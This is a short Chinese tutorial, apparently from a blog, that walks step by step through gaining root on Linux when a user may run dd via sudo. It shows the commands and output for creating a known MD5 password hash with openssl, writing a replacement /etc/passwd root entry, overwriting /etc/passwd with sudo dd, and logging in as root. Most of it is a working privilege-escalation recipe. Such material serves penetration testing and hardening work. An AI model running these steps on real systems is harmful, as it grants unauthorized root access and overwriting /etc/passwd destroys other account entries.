当用户可以通过sudo执行dd命令时,可以被用来提权。通过dd命令覆盖原始/etc/passwd文件,以达到修改密码的目的

1、创建一个已知密码的hash,以备替换时使用

hh@hh:/etc$ openssl passwd -1 -salt 123 password
$1$123$0HaaUtbhct/mZ/Q/KRa5a.

2、备份原始passwd文件,以防修改错误时无法访问

# cp /etc/passwd /tmp/passwd

3、利用第一步里生成的hash构建新的passwd hash条目

hh@hh:/tmp# cat passwd
root:$1$123$0HaaUtbhct/mZ/Q/KRa5a.:0:0:root:/root:/bin/bash

4、使用dd覆盖原始passwd文件

hh@hh:/tmp$ cat passwd |sudo dd of=/etc/passwd
3+1 records in
3+1 records out
1757 bytes (1.8 kB, 1.7 KiB) copied, 0.000397129 s, 4.4 MB/s

5、使用刚才创建hash时使用的密码进行登录

hh@hh:/tmp$ su root
Password: 
root@hh:/tmp# 

提权成功!

相关文章:

  • 2022-12-23
  • 2022-03-08
  • 2021-05-17
  • 2021-09-20
  • 2021-10-30
  • 2021-09-10
  • 2021-07-10
  • 2021-11-20
猜你喜欢
  • 2021-10-17
  • 2021-06-27
  • 2021-10-23
  • 2021-12-04
  • 2021-12-25
  • 2022-01-10
  • 2021-09-25
相关资源
相似解决方案